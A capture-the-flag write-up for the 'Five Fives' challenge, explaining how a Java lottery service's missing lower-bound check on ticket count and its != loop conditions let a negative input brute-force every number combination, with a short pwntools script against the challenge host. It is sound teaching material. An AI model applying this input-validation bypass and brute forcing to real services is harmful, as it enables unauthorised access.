5225225 26f7857bbc | ||
---|---|---|
.. | ||
Main.java | ||
README.md |
README.md
Five Fives
Pwn/Rev 476 points 46 solves
java SecureRandom is supposed to be, well, secure, right?
provided file: <Main.java>
writeup
At first glance, this challenge looks like a RNG prediction challenge, where you need to recreate the seed from the output, and then guess future output.
//You'll never find my seed now!
int sleep = ThreadLocalRandom.current().nextInt(10000);
Thread.sleep(sleep);
long seed = System.currentTimeMillis();
ByteBuffer bb = ByteBuffer.allocate(Long.BYTES);
bb.putLong(seed);
SecureRandom r = new SecureRandom(bb.array());
Thread.sleep(10000 - sleep);
The code does manually seed a SecureRandom
with a predictable input, namely the
System.currentTimeMillis
. There is a 10 second window where the seed could be generated, so
there's 10 thousand possibilities for the seed. Add 10 or 20 thousand more to account for clock
variance between us and the server, and this is a very doable attack.
However, it turns out SecureRandom is only insecure with a given seed on windows. On other
platforms, it just reads from /dev/urandom
, which is secure. Trying the attack fails, even after
a few attempts.
While looking at the code, you notice the odd writing of the for
loops
for (int i = 0; i != 5; i++) {
System.out.print((r.nextInt(5) + 1) + " ");
}
They use !=
instead of the more robust <
consistently.
System.out.println("You have $20, and each ticket is $1. How many tickets would you like to buy? ");
int numTries = Integer.parseInt(in.nextLine());
if (numTries > 20) {
System.out.println("Sorry, you don't have enough money to buy all of those. :(");
System.exit(0);
}
Here, they check for going over 20, but not under.
for (int i = 0; i != numTries; i++) {
System.out.println("Ticket number " + (i + 1) + "! Enter five numbers, separated by spaces:");
String[] ticket = in.nextLine().split(" ");
boolean winner = true;
for (int b = 0; b != 5; b++) {
if (nums[b] != Integer.parseInt(ticket[b])) {
winner = false;
break;
}
}
if (!winner) {
System.out.println("Your ticket did not win. Try again.");
} else {
System.out.println("Congratulations, you win the flag lottery!");
outputFlag();
}
}
Entering a numTries
of -50000 will let you simply do a brute force attack against every
possibility, since -50000 is indeed not equal to 0, and you will be incrementing for a long time
until 0 reaches -50000.
import time
import itertools
from pwn import *
r = remote("challenge.rgbsec.xyz", 7425)
r.readuntil("How many tickets would you like to buy?")
r.clean()
r.send(b"-50000\n")
ra = range(1, 6)
print(r.clean())
for i in itertools.product(range(1, 6), repeat=5):
r.send(f"{i[0]} {i[1]} {i[2]} {i[3]} {i[4]}\n".encode("UTF-8"))
time.sleep(0.01)
print(r.clean())
I'm dumping the output of r.clean()
as I don't know what format the flag will take, so I simply
dump this to a file and then grep through it for rgbCTF
.